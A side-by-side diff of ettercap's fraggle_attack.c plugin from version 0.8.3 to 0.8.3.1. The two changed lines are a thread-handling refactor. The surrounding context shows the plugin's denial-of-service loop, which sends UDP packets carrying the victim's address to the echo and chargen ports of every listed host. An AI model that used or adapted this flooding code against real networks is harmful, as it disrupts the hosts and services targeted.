fraggle_attack.c (ettercap-0.8.3) | : | fraggle_attack.c (ettercap-0.8.3.1) | ||
---|---|---|---|---|
skipping to change at line 90 | skipping to change at line 90 | |||
static int fraggle_attack_fini(void *dummy) | static int fraggle_attack_fini(void *dummy) | |||
{ | { | |||
pthread_t pid; | pthread_t pid; | |||
/* variable not used */ | /* variable not used */ | |||
(void) dummy; | (void) dummy; | |||
DEBUG_MSG("fraggle_attack_fini"); | DEBUG_MSG("fraggle_attack_fini"); | |||
while(!pthread_equal(EC_PTHREAD_NULL, pid = ec_thread_getpid("fraggler"))) { | while(!pthread_equal(ec_thread_getpid(NULL), pid = ec_thread_getpid("fraggler "))) { | |||
ec_thread_destroy(pid); | ec_thread_destroy(pid); | |||
} | } | |||
return PLUGIN_FINISHED; | return PLUGIN_FINISHED; | |||
} | } | |||
static EC_THREAD_FUNC(fraggler) | static EC_THREAD_FUNC(fraggler) | |||
{ | { | |||
struct ip_addr *ip; | struct ip_addr *ip; | |||
struct hosts_list *h, *htmp; | struct hosts_list *h, *htmp; | |||
skipping to change at line 118 | skipping to change at line 118 | |||
ec_thread_init(); | ec_thread_init(); | |||
ip = EC_THREAD_PARAM; | ip = EC_THREAD_PARAM; | |||
proto = ntohs(ip->addr_type); | proto = ntohs(ip->addr_type); | |||
port_echo= htons(UDP_PORT_7); | port_echo= htons(UDP_PORT_7); | |||
port_chargen= htons(UDP_PORT_19); | port_chargen= htons(UDP_PORT_19); | |||
memset(payload, 0, sizeof(payload)); | memset(payload, 0, sizeof(payload)); | |||
length= (size_t) sizeof(payload); | length= (size_t) sizeof(payload); | |||
if((proto != AF_INET) && (proto != AF_INET6)) | if((proto != AF_INET) && (proto != AF_INET6)) | |||
ec_thread_destroy(EC_PTHREAD_SELF); | ec_thread_destroy(ec_thread_getpid(NULL)); | |||
LOOP { | LOOP { | |||
CANCELLATION_POINT(); | CANCELLATION_POINT(); | |||
LIST_FOREACH_SAFE(h, &EC_GBL_HOSTLIST, next, htmp) | LIST_FOREACH_SAFE(h, &EC_GBL_HOSTLIST, next, htmp) | |||
if(ntohs(h->ip.addr_type) == proto) { | if(ntohs(h->ip.addr_type) == proto) { | |||
send_udp(ip, &h->ip, h->mac, port_echo, port_echo, payload, lengt h); | send_udp(ip, &h->ip, h->mac, port_echo, port_echo, payload, lengt h); | |||
send_udp(ip, &h->ip, h->mac, port_chargen, port_chargen, payload, length); | send_udp(ip, &h->ip, h->mac, port_chargen, port_chargen, payload, length); | |||
} | } | |||
End of changes. 2 change blocks. | ||||
2 lines changed or deleted | 2 lines changed or added |